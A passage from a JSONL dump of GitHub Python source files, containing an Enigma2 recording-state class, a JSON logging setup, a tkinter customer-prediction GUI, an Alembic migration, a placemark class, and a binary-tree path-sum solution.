self.dataset\n","repo_name":"Mattdl/ContinualEvaluation","sub_path":"avalanche/training/strategies/cumulative.py","file_name":"cumulative.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"60"}
+{"seq_id":"70622028990","text":"from Components.Sources.RecordState import RecordState as RecordStateOrg\nimport NavigationInstance\n\n\nclass RecordState(RecordStateOrg):\n\tdef __init__(self, session):\n\t\tself.records_running = 0\n\t\tRecordStateOrg.__init__(self, session)\n\t\tNavigationInstance.instance.RecordTimer.on_state_change.append(self.gotRecordingEvent)\n\t\tself.gotRecordingEvent(None)\n\n\tdef getRecordings(self):\n\t\trecordings = 0\n\t\tfor timer in NavigationInstance.instance.RecordTimer.timer_list:\n\t\t\tif timer.isRunning() and not timer.justplay:\n\t\t\t\trecordings += 1\n\t\treturn recordings\n\n\tdef gotRecordEvent(self, _service, _event):\n\t\treturn\n\n\tdef gotRecordingEvent(self, _timer):\n\t\tprev_records = self.records_running\n\t\tself.records_running = self.getRecordings()\n\t\tprint((\"RECSTATE: records: %s, prev_records: %s\" % (self.records_running, prev_records)))\n\t\tif self.records_running != prev_records:\n\t\t\tself.changed((self.CHANGED_ALL,))\n","repo_name":"dream-alpha/TimeshiftCockpit","sub_path":"src/RecordState.py","file_name":"RecordState.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1826056866","text":"import logging\nfrom typing import Optional, Union\nfrom pathlib import Path\nimport json\n\nclass JSONFormatter(logging.Formatter):\n    \"\"\"\n    A custom formatter for logging messages as JSON.\n    \n    Methods:\n        format: Returns the log message formatted as a JSON string.\n    \"\"\"\n    \n    def format(self, record: logging.LogRecord) -> str:\n        \"\"\"Return the log message formatted as JSON.\"\"\"\n        log_data = {\n            'timestamp': record.created,\n            'level': record.levelname,\n            'message': record.getMessage(),\n            'module': record.module,\n            'line': record.lineno,\n            'funcName': record.funcName,\n            'pathname': record.pathname\n        }\n        return json.dumps(log_data, ensure_ascii=False)\n\nclass LoggerSetup:\n    \"\"\"\n    A class to configure a logger with options for JSON formatted logging to file and console.\n    \n    Methods:\n        add_file_handler: Adds a file handler to the logger.\n        add_console_handler: Adds a console handler to the logger.\n        set_custom_format: Sets a custom formatter for logging messages.\n        get_logger: Returns the configured logger.\n    \"\"\"\n    \n    def __init__(self, log_level: int = logging.DEBUG):\n        \"\"\"Initialize the LoggerSetup with the desired log level.\n        \n        Examples:\n        >>> logger_setup = LoggerSetup(log_level=logging.DEBUG)\n        >>> custom_format = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')\n        >>> logger_setup.set_custom_format(custom_format)\n        >>> logger_setup.add_file_handler(\"logfile.log\")\n        >>> logger_setup.add_console_handler()\n        >>> logger = logger_setup.get_logger()\n        >>> logger.debug(\"This is a debug message.\")\n        \"\"\"\n        self.logger = logging.getLogger()\n        self.logger.setLevel(log_level)\n        self.formatter = JSONFormatter()\n\n    def add_file_handler(self, log_file_path: Optional[Path] = None, mode: str = 'a', encoding: str = 'utf-8') -> None:\n        \"\"\"\n        Add a file handler to the logger.\n\n        Args:\n            log_file_path (Path): The path to the log file. Defaults to None.\n            mode (str): File mode. Defaults to 'a'.\n            encoding (str): File encoding. Defaults to 'utf-8'.\n        \"\"\"\n        if log_file_path:\n            file_handler = logging.FileHandler(log_file_path, mode=mode, encoding=encoding)\n            file_handler.setFormatter(self.formatter)\n            self.logger.addHandler(file_handler)\n\n    def add_console_handler(self) -> None:\n        \"\"\"Add a console handler to the logger.\"\"\"\n        console_handler = logging.StreamHandler()\n        console_handler.setFormatter(self.formatter)\n        self.logger.addHandler(console_handler)\n\n    def set_custom_format(self, fmt: Union[logging.Formatter, None]) -> None:\n        \"\"\"\n        Set a custom formatter for logging messages.\n\n        Args:\n            fmt (logging.Formatter | None): The desired logging formatter.\n        \"\"\"\n        for handler in self.logger.handlers:\n            handler.setFormatter(fmt)\n        self.formatter = fmt\n\n    def get_logger(self) -> logging.Logger:\n        \"\"\"Return the configured logger.\"\"\"\n        return self.logger\n","repo_name":"tinnawong/pylabtools","sub_path":"pylabtools/log_wrapper.py","file_name":"log_wrapper.py","file_ext":"py","file_size_in_byte":3208,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"32194534792","text":"import tkinter as tk\r\nfrom wc_model import *\r\n\r\n\r\nclass WC_GUI:\r\n    def __init__(self):\r\n        # Create the main window.\r\n        self.main_window = tk.Tk()\r\n        self.main_window.title(\"Wholesale Customer Predictor\")\r\n\r\n        # Create widgets.\r\n        self.one_frame = tk.Frame()\r\n        self.two_frame = tk.Frame()\r\n        self.three_frame = tk.Frame()\r\n        self.four_frame = tk.Frame()\r\n        self.five_frame = tk.Frame()\r\n        self.six_frame = tk.Frame()\r\n        self.seven_frame = tk.Frame()\r\n        self.eight_frame = tk.Frame()\r\n        self.ninth_frame = tk.Frame()\r\n\r\n        # Create title display\r\n        self.title_label = tk.Label(self.one_frame, text='Wholesale Customer Predictor', fg=\"Blue\", font=(\"Helvetica\", 18))\r\n        self.title_label.pack()\r\n\r\n        # Create the widgets for Region Options\r\n        self.region_label = tk.Label(self.two_frame, text='Region Of Portugal')\r\n        self.click_region_var = tk.StringVar()\r\n        self.click_region_var.set(\"Lisbon\")\r\n        self.region_inp = tk.OptionMenu(self.two_frame, self.click_region_var, \"Lisbon\", \"Oporto\", \"Other\")\r\n        self.region_label.pack(side='left')\r\n        self.region_inp.pack(side='left')\r\n\r\n        # Fresh Products widgets\r\n        self.fresh_label = tk.Label(self.three_frame, text='Fresh:')\r\n        self.fresh_entry = tk.Entry(self.three_frame, bg=\"white\", fg=\"black\", width=10)\r\n        self.fresh_label.pack(side='left')\r\n        self.fresh_entry.pack(side='left')\r\n\r\n        # Frozen Products widgets\r\n        self.milk_label = tk.Label(self.four_frame, text='Milk:')\r\n        self.milk_entry = tk.Entry(self.four_frame, bg=\"white\", fg=\"black\", width=10)\r\n        self.milk_label.pack(side='left')\r\n        self.milk_entry.pack(side='left')\r\n\r\n        # Grocery Products widgets\r\n        self.grocery_label = tk.Label(self.five_frame, text='Grocery:')\r\n        self.grocery_entry = tk.Entry(self.five_frame, bg=\"white\", fg=\"black\", width=10)\r\n        self.grocery_label.pack(side='left')\r\n        self.grocery_entry.pack(side='left')\r\n\r\n        # Frozen Products widgets\r\n        self.frozen_label = tk.Label(self.six_frame, text='Frozen:')\r\n        self.frozen_entry = tk.Entry(self.six_frame, bg=\"white\", fg=\"black\", width=10)\r\n        self.frozen_label.pack(side='left')\r\n        self.frozen_entry.pack(side='left')\r\n\r\n        # Detergent & Paper Products widgets\r\n        self.detergentNPapers_label = tk.Label(self.seven_frame, text='Detergent & Paper:')\r\n        self.detergentNPapers_entry = tk.Entry(self.seven_frame, bg=\"white\", fg=\"black\", width=10)\r\n        self.detergentNPapers_label.pack(side='left')\r\n        self.detergentNPapers_entry.pack(side='left')\r\n\r\n        # Delicatessen Products widgets\r\n        self.delicatessen_label = tk.Label(self.eight_frame, text='Delicatessen:')\r\n        self.delicatessen_entry = tk.Entry(self.eight_frame, bg=\"white\", fg=\"black\", width=10)\r\n        self.delicatessen_label.pack(side='left')\r\n        self.delicatessen_entry.pack(side='left')\r\n\r\n        # Create widgets for prediction of wholesale customer's channel\r\n        self.channel_predict_ta = tk.Text(self.ninth_frame, height=10, width=25, bg='light blue')\r\n\r\n        # Create predict button and quit button\r\n        self.button_predict = tk.Button(self.ninth_frame, text='Predict Industry Type Of Wholesale Customer', command=self.predict_channel)\r\n        self.button_quit = tk.Button(self.ninth_frame, text='Quit', command=self.main_window.destroy)\r\n\r\n        self.channel_predict_ta.pack(side='left')\r\n        self.button_predict.pack()\r\n        self.button_quit.pack()\r\n\r\n        self.one_frame.pack()\r\n        self.two_frame.pack()\r\n        self.three_frame.pack()\r\n        self.four_frame.pack()\r\n        self.five_frame.pack()\r\n        self.six_frame.pack()\r\n        self.seven_frame.pack()\r\n        self.eight_frame.pack()\r\n        self.ninth_frame.pack()\r\n\r\n        tk.mainloop()\r\n\r\n    def predict_channel(self):\r\n        result_str = \"\"\r\n        self.channel_predict_ta.delete(0.0, tk.END)\r\n        customer_Region = self.click_region_var.get()\r\n        if (customer_Region == \"Lisbon\"):\r\n            customer_Reg = 1;\r\n        elif (customer_Region == \"Oporto\"):\r\n            customer_Reg = 2;\r\n        else:\r\n            customer_Reg = 3;\r\n        customer_fresh = self.fresh_entry.get()\r\n        customer_milk = self.milk_entry.get()\r\n        customer_grocery = self.grocery_entry.get()\r\n        customer_frozen = self.frozen_entry.get()\r\n        customer_detergentNPapers = self.detergentNPapers_entry.get()\r\n        customer_delicatessen = self.delicatessen_entry.get()\r\n        result_str += \"===Customer Information=== \\n\"\r\n        customer_info = (customer_Reg, customer_fresh, customer_milk, customer_grocery, customer_frozen,\r\n                        customer_detergentNPapers, customer_delicatessen)\r\n\r\n        channel_prediction = best_model.predict([customer_info]) #result\r\n        display = (\"This prediction has an accuracy of:\", str(model_accuracy))\r\n\r\n        if (channel_prediction == [0]):\r\n            result_str = (display, '\\n', \"0 - Customer should be in Hospitality Industry\")\r\n        else:\r\n            result_str = (display, '\\n' + \"1 - Customer should be in retail Industry\")\r\n        self.channel_predict_ta.insert('1.0', result_str)\r\n\r\n    #Testing\r\n    def test1():\r\n        customer_info = (2, 304, 135, 127, 87, 215, 77)\r\n        assert best_model.predict([customer_info]) == 0\r\n\r\n    def test2():\r\n        customer_info = (2, 158, 393, 414, 263, 402, 102)\r\n        assert best_model.predict([customer_info]) == 1\r\n\r\n    test1()\r\n    test2()\r\n    print(\"Test 1 & 2 passed\")\r\nmy_wc_GUI = WC_GUI()","repo_name":"u3228058/CapstoneGroupProject","sub_path":"Implementation Stage/wc_gui.py","file_name":"wc_gui.py","file_ext":"py","file_size_in_byte":5682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29984619254","text":"\"\"\"users table\n\nRevision ID: 7f0a57912e4c\nRevises: 0bc84c786665\nCreate Date: 2020-05-12 08:29:44.895199\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '7f0a57912e4c'\ndown_revision = '0bc84c786665'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_index('ix_user_role', table_name='user')\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_index('ix_user_role', 'user', ['role'], unique=1)\n    # ### end Alembic commands ###\n","repo_name":"GuntherSe/clubdmx_code","sub_path":"migrations/versions/7f0a57912e4c_users_table.py","file_name":"7f0a57912e4c_users_table.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"23211000040","text":"__author__ = 'Javan'\n\nclass placemark(object):\n    def __init__(self, name=\"\", dogtype=\"\", id=\"\", form=\"\", handletype=\"\",match =\"\", longitude=0, latitude=0, heading=0, speedlimit=0, account=\"\", time=\"\", cost=\"\"):\n        self.name = name\n        self.dogtype = dogtype\n        self.id = id\n        self.form = form\n        self.match = match\n        self.matchlist = []\n        self.handletype = handletype\n        self.longitude = longitude\n        self.latitude = latitude\n        self.heading = heading\n        self.speedlimit = speedlimit\n        self.account = account\n        self.time = time\n        self.cost = cost\n","repo_name":"javanprettycool/kml","sub_path":"kml/kmlElement.py","file_name":"kmlElement.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13187777582","text":"# -*- coding:utf-8 -*-\n# class TreeNode:\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\nclass Solution:\n    # 返回二维列表，内部每个列表表示找到的路径\n    def FindPath(self, root, expectNumber):\n        # write code here\n        if not root: return []\n        ret = []\n        def dfs(path, node, rest, ret):\n            if not node.left and not node.right and (rest-node.val)==0:\n                ret.append(path+[node.val])\n            if node.left:\n                dfs(path+[node.val], node.left, rest-node.val, ret)\n            if node.right:\n                dfs(path+[node.val], node.right, rest-node.val, ret)\n        dfs([], root, expectNumber, ret)\n        \n        return ret\n             \n","repo_name":"PouringRain/Algorithmn","sub_path":"63.py","file_name":"63.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}